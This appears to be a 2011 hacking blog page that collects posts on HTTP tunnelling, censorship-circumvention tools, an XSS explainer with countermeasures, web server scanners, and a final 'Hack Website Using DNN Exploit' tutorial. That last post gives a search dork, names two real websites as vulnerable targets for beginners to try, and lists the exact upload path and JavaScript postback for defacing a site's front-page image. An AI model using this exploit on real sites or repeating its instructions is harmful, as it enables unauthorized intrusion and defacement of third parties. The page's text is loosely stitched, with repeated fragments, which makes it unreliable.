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Sunday, November 13, 2011

Bypassing Firewall using Httptunnel




Httptunnel creates a bidirectional virtual data path tunneled in HTTP requests. The requests can be sent via an HTTP proxy if so desired. This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it's possible to use httptunnel and telnet or PPP to connect to a computer outside the firewall.

Here is how htc sends data to the destination:

  1. Open TCP connection to hts

  2. Send HTTP POST with a large Content-Length

  3. Send TUNNEL_DATA packets until POST Content-Length would be exceeded.

  4. Send TUNNEL_PADDING packets to exactly satisfy Content-Length - 1

  5. Send TUNNEL_DISCONNECT (1 byte)

  6. Close TCP connection

  7. Go to step 1

Here is how htc gets data from the destination.

  1. Open TCP connection to hts

  2. Send HTTP GET

  3. Wait for response from hts

  4. Read TUNNEL_DATA, then TUNNEL_PADDING, TUNNEL_DISCONNECT packets

  5. Close TCP connection

  6. Go to step 1

Tunnel creation and destruction

This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it's possible to use httptunnel and, say, telnet or PPP to connect to a computer outside the firewall.

How to access blocked websites and How to protect your privacy online using Hotspot Shield


Hotspot Shield is a freeware which ensures anonymous and censor-free internet usage. With Hotspot Shield you can even access blocked websites. For example: Skype is blocked in certain parts of the world. With Hotspot Shield, anyone can access Skype (and any other site they choose). The free software ensures censor-free internet usage by encrypting all communications to and from your computer to protect you from online spying. While advertising supported, HotSpot Shield is is not an invasive adware or pervasive spyware application.

Hotspot Shield protects your entire web surfing session; securing your connection at both your home Internet network & Public Internet networks (both wired and wireless). Hotspot Shield protects your identity by ensuring that all web transactions (shopping, filling out forms, downloads) are secured through HTTPS. Hotspot Shield also makes you private online making your identity invisible to third party websites and ISP’s. Unless you choose to sign into a certain site, you will be anonymous for your entire web session with Hotspot Shield. We love the web because of the freedom that it creates to explore, organize, and communicate. Hotspot Shield enables access to all information online, providing freedom to access all web content freely and securely. Secure your entire web session and ensure your privacy online; your passwords, credit card numbers, and all of your data is secured with Hotspot Shield. Standard antivirus software protects your computer, but not your web activities.
  • Secure your web session, data, online shopping, and personal information online with HTTPS encryption.
  • Protect yourself from identity theft online.
  • Hide your IP address for your privacy online.
  • Access all content privately without censorship; bypass firewalls.
  • Protect yourself from snoopers at Wi-Fi hotspots, hotels, airports, corporate offices.

Hotspot Shield runs on:
  • Windows 7
  • Windows XP
  • Windows 2000
  • Windows Vista
  • Mac OS X (10.4 Tiger)
  • Mac OS X (10.5 Leopard)
  • Mac OS X (10.6 Snow Leopard)

How to Access Blocked Websites at Work, Office & School Using UltraSurf


Download UltraSurf

UltraSurf is a free software which enables users inside countries with heavy Internet censorship to visit any public web sites in the world safely and freely. Users in countries without internet censorship also use it to protect their internet privacy and security.

Installation:

It's a small, green software. No installation needed. You need to unzip the file if you download the zip version. Double-click the UltraSurf executable file to start UltraSurf program.

How to hack websites and damage to a web application using Cross-Site Scripting (XSS) vulnerabilities: Its Add-ons for Firefox


Version 0.4.3
Works with Firefox: 2.0.0.8 – 3.6a1pre
Updated May 25, 2009
Developer Security Compass
Rating Rated 5 out of 5 stars

Cross-Site Scripting (XSS) is a common flaw found in todays web applications. XSS flaws can cause serious damage to a web application. Detecting XSS vulnerabilities early in the development process will help protect a web application from unnecessary flaws. XSS-Me is the Exploit-Me tool used to test for reflected XSS vulnerabilities.

XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting (XSS). It does NOT currently test for stored XSS.rnrnThe tool works by submitting your HTML forms and substituting the form value with strings that are representative of an XSS attack.rnrnIf the resulting HTML page sets a specific JavaScript value (document.vulnerable=true) then the tool marks the page as vulnerable to the given XSS string.rnrnThe tool does not attempting to compromise the security of the given system. It looks for possible entry points for an attack against the system. There is no port scanning, packet sniffing, password hacking or firewall attacks done by the tool.rnrnYou can think of the work done by the tool as the same as the QA testers for the site manually entering all of these strings into the form fields.

What is Cross Side Scripting (XSS)?


  • A Web application vulnerable to XSS allows a user to inadvertently send malicious data to self through that application.

  • Attackers often perform XSS exploitation by crafting malicious URLs and tricking users into clicking on them.

  • These links cause client side scripting languages )VBScript, JavaScript etc,) of the attacker s choice to execute on the victim's browser.

  • XSS vulnerabilities are caused by a failure in the web application to properly validate user input.

  • The simplest description of cross-site scripting can be put as the attack that occurs when a user enters malicious data in a Web site. It can be as simple as posting a message that contains malicious code to a newsgroup. When another person views this message, the browser will interpret the code and execute it, often giving the attacker control of the system. Malicious scripts can also be executed automatically based on certain events, such as when a picture loads. Unlike most security vulnerabilities, CSS doesn't apply to any single vendor's products - instead, it can affect any software that runs on a web server

    CSS takes place as a result of the failure of the web based application to validate user supplied input, before returning it to the client system. "Cross-Site" refers to the security restrictions that the client browser usually places on data (i.e. cookies, dynamic content attributes, etc.) associated with a web site. By causing the victim's browser to execute malicious code with the same permissions as the domain of the web application, an attacker can bypass the traditional document object model (DOM) security restrictions. The document object model is accessible application interface that allows client-side languages to dynamically access and modify the content, structure and style of a web page.

    Cross-Site Scripting (CSS) attacks require the execution of Client-Side Languages (JavaScript, Java, VBScript, ActiveX, Flash, etc.) within a user's web environment. Cross Site Scripting can result in an attacker stealing cookies, hijacking sessions, changing of web application account settings etc. The most common web components that are vulnerable to CSS attacks include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Moreover, a victim does not necessarily have to click on a link to make the attack possible.

    XSS Countermeasures
    • As a web application user, there are a few ways to protect yourselves from XSS attacks.

    • The first and the most effective solution is to disable all scripting language support in your browser and email reader.

    • If this is not a feasible option for business reasons, another recommendation is to use reasonable caution while clicking links in anonymous e-mails and dubious web pages.

    • Proxy servers can help filter out malicious scripting in HTML.

      Preventing cross-site scripting is a challenging task especially for large distributed web applications. If the application accepts only expected input, then the XSS can be significantly reduced.

      Web servers should set the character set, and then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

       

      Web pages with unspecified character-encoding work mostly because most character sets assign the same characters to byte values below 128. Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<. These should be checked.

    Top20 Scan Method : Hacking Web Servers


    This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (www.sans.org)

    Hacking Tool: WebInspect
    • WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.

    • It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.

    • It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages

    WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.

    With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.

    Network Tool: Shadow Security Scanner

    http://www.safety-lab.com

    • Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.

    • Shadow Security Scanner includes vulnerability auditing modules for many systems and services.

      These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and

    These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.

    Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.

    The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.

    Countermeasures
    • IISLockdown:

      • IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.

      • It disables Web Distributed Authoring and Versioning (WebDAV).

      • It installs the URLScan ISAPI filter.

    • URLScan:

      • URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.

    UrlScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator. Filtering requests helps secure the server by ensuring that only valid requests are processed. UrlScan helps protect Web servers because most malicious attacks share a common characteristic they involve the use of a request that is unusual in some way. For instance, the request might be extremely long, request an unusual action, be encoded using an alternate character set, or include character sequences that are rarely seen in legitimate requests. By filtering unusual requests, UrlScan helps prevent such requests from reaching the server and potentially causing damage.

    Summary
    • Web servers assume critical importance in the realm of Internet security.

    • Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.

    • The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.

    • Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.

    • Different tools/exploit codes aids an attacker perpetrate web server hacking.

    • Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.

    Hack Website Using DNN [Dot Net Nuke] Exploit


    Hack Website Using DNN [Dot Net Nuke] Exploit

    Using google DORK try to find the vulnerable website.

    inurl:"/portals/0"

    You can also modify this google dork according to your need & requirement

    I have found these 2 website vulnerable to this attack:

    http://www.wittur.se/
    http://www.bsd405.org/

    n00bs can also try both of these websites for testing purpose.

    Open the home page and check any image which is located in /portals/0/
    Check the location of the image. It should be located in /portals/0/

    For e.g. in case of http://www.wittur.se ..the image is located at location- http://www.wittur.se/Portals/0/SHM.jpg

    Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.

    Now here is the exploit

    Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

    HOW TO RUN ?

    Simply copy paste it as shown below:

    www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

    You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site
    After selecting the third option, replace the URL bar with below script

    javascript:__doPostBack('ctlURL$cmdUpload','')

    After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...BINGGOOOOOOOOOOOO you have hacked the website.

    LinkWithin

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